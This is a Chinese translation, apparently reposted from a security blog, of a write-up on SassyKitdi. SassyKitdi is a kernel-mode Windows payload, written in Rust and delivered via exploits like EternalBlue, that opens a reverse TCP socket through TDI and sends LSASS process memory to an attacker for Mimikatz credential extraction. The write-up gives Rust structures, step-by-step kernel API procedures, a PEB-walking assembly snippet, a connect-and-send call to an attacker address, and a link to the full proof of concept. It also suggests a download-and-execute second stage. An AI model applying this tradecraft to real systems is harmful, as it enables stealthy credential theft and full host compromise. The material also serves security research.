SassyKitdi: 内核模式TCP套接字 + LSASS Dump

admin 2024年9月28日14:33:22评论18 views字数 9883阅读32分56秒阅读模式

0. 译者注

译自@zerosum0x0's blog[1]

本文介绍了三部分内容

1.TDI(Transport Driver Interface),内核模式tdi.sys提供的网络传输驱动程序接口2.从内核模式Dump LSASS,文中的操作也可以在Ring3实现3.用Rust编写shellcode,借助一系列零开销的高级抽象提升开发效率,生成高质量的底层代码

1. 介绍

这篇文章描述了一个Windows NT内核模式payload:SassyKitdi(LSASS + Rootkit + TDI)。这个payload可以通过远程内核exploit部署(例如EternBlue、BlueKeep和SMBGhost),当然也可以通过本地内核exploit部署(i.e. bad drivers)。该exploit(至少)从Windows 2000到Windows 10都是通用的,且不需要携带奇怪的DKOM偏移[译者注:DKOM,Direct Kernel Object Manipulation,rootkit常用,例如修改内核的PsAcvtivePeorecssList来隐藏自身进程]

Payload不与用户模式交互,它使用Transport Driver Interface(TDI)创建反向TCP套接字,该接口是更现代的Winsock Kernel(WSK)的前身。LSASS.exe进程内存和模块将通过网络发送,接着攻击者可以将其转换为minidump文件,并传递到诸如Mimikatz的工具中提取凭据。

tl;dr: PoC || GTFO[2]

SassyKitdi: 内核模式TCP套接字 + LSASS Dump

PIC Shellcode大概为3300 bytes,完全使用Rust编写,且使用了很多高级抽象。我将概述Rust满足Shellcode编写的好处。

我手头上没有所有AV用来进行明显的测试,但鉴于大部分AV都遗漏了明显的用户模式内容,因此我只能假设目前能检测到该方法的AV普遍无效。

最后,我将讨论未来的内核模式Rootkit应该是什么样子的,如果以本文为例,则需要做进一步处理。What's old is new again.

2. Transport Driver Interface

TDI是一种与所有类型网络传输通信的古老方法。在这种情况下,将使用它来建立与攻击者的反向TCP连接。其他payload(例如Bind Socket,或UDP)将遵循类似方法。

Rootkit中TDI的使用并不广泛,但已经在以下书籍有过记载,这些书可以作为该代码的参考:

Vieler, R. (2007). Professional Rootkits. Indianapolis, IN: Wiley Technology Pub.Hoglund, G., & Butler, J. (2009). Rootkits: Subverting the Windows Kernel. Upper Saddle River, NJ: Addison-Wesley.

2.1 打开TCP设备对象

通过设备名称来获取设备对象(本例中是DeviceTcp)。本质上是向ZwCreateFile内核API [译者注:创建文件内核对象] 传递设备名称,然后通过File Extended Attributes[3]传递选项

 1pub type ZwCreateFile = extern "stdcall" fn(
2    FileHandle:         PHANDLE,
3    AccessMask:         ACCESS_MASK,
4    ObjectAttributes:   POBJECT_ATTRIBUTES,
5    IoStatusBlock:      PIO_STATUS_BLOCK,
6    AllocationSize:     PLARGE_INTEGER,
7    FileAttributes:     ULONG,
8    ShareAccess:        ULONG,
9    CreateDisposition:  ULONG,
10    CreateOptions:      ULONG,
11    EaBuffer:           PVOID,
12    EaLength:           ULONG,
13) -> NTSTATUS;

设备名称通过ObjectAttributes字段传递,配置通过EaBuffer传递。我们必须创建一个Transport句柄(FEA: TransportAddress)和一个Connection句柄(FEA: ConnectionContext)[译者注:FEA, File Extended Attributes]

TransportAddress FEA需要一个TRANSPORT_ADDRESS结构体,对于IPv4而言,还需要包含一些其他结构。在这一点我们可以选择要绑定到的接口或要使用的端口。在本例中,我们将选择0.0.0.0:0,内核将使用随机的临时端口来绑定到主接口 [译者注:可以理解为随机选择TCP socket的src port]

 1#[repr(C, packed)]
2pub struct TDI_ADDRESS_IP {
3    pub sin_port:   USHORT,
4    pub in_addr:    ULONG,
5    pub sin_zero:   [UCHAR; 8],
6}
7
8#[repr(C, packed)]
9pub struct TA_ADDRESS {
10    pub AddressLength:  USHORT,
11    pub AddressType:    USHORT,
12    pub Address:        TDI_ADDRESS_IP,
13}
14
15#[repr(C, packed)]
16pub struct TRANSPORT_ADDRESS {
17    pub TAAddressCount:     LONG,
18    pub Address:            [TA_ADDRESS; 1],
19}

ConnectionContext FEA允许设置任意的context,而不是预定义的结构。在实例代码中我们将其设置为NULL。

至此,我们已经创建了Transport句柄,Transport File对象,Connection句柄和Connection File对象。

2.2 连接到一个Endpoint

初始化后,其余的TDI API将通过TDI IOCTL [译者注:一组I/O控制码,如下文的TDI_SEND、TDI_CONNECT等] 对关联文件对象的设备对象进行操作。

TDI通过各种IOCTL code使用IRP_MJ_INTERNAL_DEVICE_CONTROL ,我们感兴趣的是以下几个:

1#[repr(u8)]
2pub enum TDI_INTERNAL_IOCTL_MINOR_CODES {
3    TDI_ASSOCIATE_ADDRESS     = 0x1,
4    TDI_CONNECT               = 0x3,
5    TDI_SEND                  = 0x7,
6    TDI_SET_EVENT_HANDLER     = 0xb,
7}

这些内部IOCTL每一个都有与之关联的各种结构。基本方法是:

1.使用IoGetRelatedDeviceObject从文件对象获取设备对象2.使用IoBuildDeviceIoControlRequest创建内部的IOCTL IRP [译者注:IRP,I/O Request Packet,操作设备时将参数封装到IRP通过IoCallDriver传递给驱动程序]3.设置IO_STACK_LOCATION.MinorFunction内部的opcode4.将op的结构体指针复制到IO_STACK_LOCATION.Parameters5.使用IofCallDriver分派IRP6.使用KeWaitForSingleObject等待操作结束(可选)

对于TDI_CONNECT操作,IRP参数包含一个TRANSPORT_ADDRESS结构体(在前一节中定义)。这次,我们不再设置0.0.0.0:0,而是将其设置成我们要连接的值(大端序)

2.3 通过网络发送数据

如果连接IRP成功建立TCP连接,我们可以接着发送TDI_SEND IRP到TCP设备。

TDI设备需要一个描述待发送缓冲区的Memory Descriptor List[4](MDL)。

假设我们想通过网络发送任意数据,必须执行下列步骤:

1.使用ExAllocatePool分配一个缓冲区,使用RtlCopyMemory copy数据2.使用IoAllocateMdl提供缓冲区地址和大小3.使用MmProbeAndLockPages[5]在发送操作时锁定页面(page-in)[译者注:该函数用来使指定虚拟内存页驻留在内存中]4.分派Send IRP5.I/O管理器将解锁内存页并释放MDL6.使用ExFreePool释放缓冲区(可选)

这种情况下,MDL将附加到IRP。至于Parameters结构体,我们可以将SendFlags设置为0,将SendLength设置为数据大小。

1#[repr(C, packed)]
2pub struct TDI_REQUEST_KERNEL_SEND {
3    pub SendLength:    ULONG,
4    pub SendFlags:     ULONG,
5}

3. 从内核模式Dump LSASS

LSASS当然是Windows里的宝藏,可以在其中获得诸如明文凭据和KRB信息之类的东西。当尝试从用户模式Dump时,许多AV供应商在保护LSASS方面都变得越来越擅长。但我们将借助内核的特权来做到这一点。

Mimikatz需要三个流(stream)来处理minidump:System Information、Memory Ranges和Module List.

3.1 获取操作系统信息

Mimikatz实际上只需要知道NT的Major、Minor和Build version。这可以通过NTOSKRNL导出函数RtlGetVersion获得,该函数提供以下结构:

1#[repr(C)]
2pub struct RTL_OSVERSIONINFOW {
3    pub dwOSVersionInfoSize:        ULONG,
4    pub dwMajorVersion:             ULONG,
5    pub dwMinorVersion:             ULONG,
6    pub dwBuildNumber:              ULONG,
7    pub dwPlatformId:               ULONG,
8    pub szCSDVersion:               [UINT16; 128],   
9}

3.2 获取所有内存区域

当然,Dump LSASS中最重要的部分是LSASS进程实际使用的内存。使用KeStackAttachProcess可以读取LSASS的虚拟内存。接着可以通过ZwQueryVirtualMemory遍历整个内存范围。

1pub type ZwQueryVirtualMemory = extern "stdcall" fn(
2    ProcessHandle:              HANDLE,
3    BaseAddress:                PVOID,
4    MemoryInformationClass:     MEMORY_INFORMATION_CLASS,
5    MemoryInformation:          PVOID,
6    MemoryInformationLength:    SIZE_T,
7    ReturnLength:               PSIZE_T,
8) -> NTSTATUS;

ProcessHandle参数传递-1,初始BaseAddress传递0,并通过MemoryBasicInformation类来接收下面的结构:

 1#[repr(C)]
2pub struct MEMORY_BASIC_INFORMATION {
3    pub BaseAddress:            PVOID,
4    pub AllocationBase:         PVOID,
5    pub AllocationProtect:      ULONG,
6    pub PartitionId:            USHORT,
7    pub RegionSize:             SIZE_T,
8    pub State:                  ULONG,
9    pub Protect:                ULONG,
10    pub Type:                   ULONG,
11}

对于ZwQueryVirtualMemory的每下一次迭代,只需将BaseAddress设置为BaseAddress + RegionSize。一直迭代直到ReturnLength为0或出现NT error。

3.3 获取已加载的模块

Mimikatz还需要知道一些DLL在内存的位置,以便窃取一些秘密。

最简单的办法是从PEB中获取DLL列表。可以使用ZwQueryInformationProcess函数和ProcessBasicInformation类获取PEB [译者注:更常用的方法是通过段寄存器,32-bit下fs寄存器0x30偏移,64-bit为gs:[0x60] ]

译者注:之前的项目memexec[6]中实现的遍历Loaded Modules:

 1pub unsafe fn get_in_mem_order_mod_lst() -> *const c_void {
2    let addr: *const c_void;
3
4    #[cfg(target_arch = "x86")]
5    asm!("
6        mov eax, fs:[0x30]
7        mov eax, [eax + 0x0c]
8        mov {}, [eax + 0x14]
9        "
,
10         out(reg) addr,
11    );
12
13    #[cfg(target_arch = "x86_64")]
14    asm!("
15        mov rax, gs:[0x60]
16        mov rax, [rax + 0x18]
17        mov {}, [rax + 0x20]
18        "
,
19         out(reg) addr,
20    );
21
22    addr
23}
24
25pub unsafe fn get_mod_from_ldr(i: usize) -> *const c_void {
26    let mut addr = get_in_mem_order_mod_lst();
27    for _ in 0..i - 1 {
28        addr = *(addr as *const *const c_void);
29    }
30
31    #[cfg(target_arch = "x86")]
32    return *(addr.offset(0x10) as *const *const c_void);
33
34    #[cfg(target_arch = "x86_64")]
35    return *(addr.offset(0x20) as *const *const c_void);
36}

Mimikatz需要DLL名称,地址和大小。可以轻松通过PEB->Ldr.InLoadOrderLinks获取,这是获取LDR_DATA_TABLE_ENTRY链表的最广为所知的办法。

 1#[cfg(target_arch="x86_64")]
2#[repr(C, packed)]
3pub struct LDR_DATA_TABLE_ENTRY {
4    pub InLoadOrderLinks:               LIST_ENTRY,
5    pub InMemoryOrderLinks:             LIST_ENTRY,
6    pub InInitializationOrderLinks:     LIST_ENTRY,
7    pub DllBase:                        PVOID,
8    pub EntryPoint:                     PVOID,
9    pub SizeOfImage:                    ULONG,
10    pub Padding_0x44_0x48:              [BYTE; 4],
11    pub FullDllName:                    UNICODE_STRING,
12    pub BaseDllName:                    UNICODE_STRING,
13    /* ...etc... */
14}

只需迭代链表,就可获取dump file的每个DLL的FullDllNameDllBaseSizeOfImage

4. Notes on Shellcoding in Rust

Rust是一种更现代的语言。它没有运行时,可用来编写与C FFI交互的极其底层的嵌入式代码。据我所知,C/Cpp仅能做一些Rust无法做到的事:C可变参数函数 [译者注:Rust用宏实现可变参函数] ,和SEH(内部panic操作之外)[译者注:作者是说除panic的栈展开外没有使用SEH]

使用mingw-w64链接器从Linux交叉编译Rust,并使用Rustup添加x86_64-windows-pc-gnu目标非常简单 [译者注:建议涉及native API调用的使用msvc工具链编译,mingw编译可能出现奇怪的bug] 。我创建一个DLL项目并提取_DllMainCRTStartupmalloc之间的代码。也许不是很稳定,但我只能弄清楚如何生成PE文件,而不是诸如COM文件之类的东西

下面的例子说明Rust编写的shellcode能有多nice:

1let mut socket = nttdi::TdiSocket::new(tdi_ctx);
2
3socket.add_recv_handler(recv_handler);
4socket.connect(0xdd01a8c00xBCFB)?;  // 192.168.1.221:64444
5
6socket.send("abc".as_bytes().as_ptr(), 3)?;

4.1 编译优化

Rust是基于LLVM的语言,因此受益于诸如Cpp(Clang)之类的许多优化。

我没有了解的太深,但Rust的高度静态编译通常会导致代码比C/Cpp小得多 [译者注:作者笔误,静态编译比C/Cpp大得多,但Rust目前的LLVM工具链动静态编译皆可,和C/Cpp没有区别] 。代码大小不一定是性能的指标,但对于shellcode而言很重要。你可以进行自己的测试,但Rust的代码生成非常好

我们可以设置Cargo.toml中的opt-level='z'(optimize for size)lto=true(link time optimize)来进一步减小代码大小 [译者注:更多优化体积方式参考min-sized-rust[7]]

4.2 使用高阶构造

使用Rust最明显的好处是RAII。在Windows中,这意味着我们封装的对象超出范围时,可以自动关闭HANDLE,自动释放内核池,等等 [译者注:得益于声明周期系统,当然需要先实现Drop trait(析构)] 。这些示例之类的简单构造函数和析构函数都积极插入了我们的Rust编译flag。

Rust具有诸如Result<Ok, Err>返回类型以及?unwrap or throw的操作,它使我们能简化错误处理。我们可以通过Ok slot返回元组,或当出现问题时通过Err slot返回NTSTATUS code。此功能的代码生成量很少,通常返回一个双倍宽的结构,基本等同于自己实现的大小,但大大简化了高级代码 [译者注:Rust的一大理念就是零开销抽象,enum结构占用内存是最大字段大小 (类似union) + tag (空指针优化时tag可省略)]

编写shellcode时我们不能使用std,而只能使用core [译者注:开启no_std feature]。此外,为了写出PIC,很多开源库都不能使用。因此,我创建了一个名为ntdef的库,该库仅包含类型定义和0 static-positioned information [译者注:没懂,不翻译了] 。如果你需要基于堆栈的宽字符串,查看JennaMagius的stacklstr[8]库。

由于低级代码的性质,与内核的FFI交互必须携带上下文指针,因此都是unsafe代码。

手工编写shellcode很繁琐,并且会导致冗长的调试会话。以Rust之类的高级抽象语言编写可节省大量时间。手写汇编总是会使代码尺寸更小,毕竟,优化编译器是人写的,没有考虑所有边界情况。

5. 结论

SassyKitdi必须以PASSIVE_LEVEL执行。要在exploit payload中使用,你需要提供自己的exploit preamble。这是清理堆栈框架的独特部分,例如EternBlue从DISPATCH_LEVEL降低IRQL。

有趣的是考虑将TDI exploit payload转变为类似内核模式的Meterpreter框架。修改提供的代码来下载并执行更大的辅助内核模式payload非常容易。这可以使用反射加载驱动的形式。这样的框架可以轻松访问令牌,文件,以及许多在当前用户模式下会被AV捕获的功能。初始的stage shellcode可以手动压缩到1000-1500 bytes。

References

[1] @zerosum0x0's blog: https://zerosum0x0.blogspot.com/2020/08/sassykitdi-kernel-mode-tcp-sockets.html
[2] PoC || GTFO: https://github.com/zerosum0x0/SassyKitdi
[3] File Extended Attributes: https://en.wikipedia.org/wiki/Extended_file_attributes#Windows_NT
[4] Memory Descriptor List: https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/using-mdls
[5] MmProbeAndLockPages: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-mmprobeandlockpages
[6] memexec: https://github.com/eddieivan01/memexec
[7] min-sized-rust: https://github.com/johnthagen/min-sized-rust
[8] stacklstr: https://github.com/jmage-rs/stacklstr

原文始发于微信公众号(0x4d5a):SassyKitdi: 内核模式TCP套接字 + LSASS Dump

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日14:33:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SassyKitdi: 内核模式TCP套接字 + LSASS Dumphttps://cn-sec.com/archives/961304.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息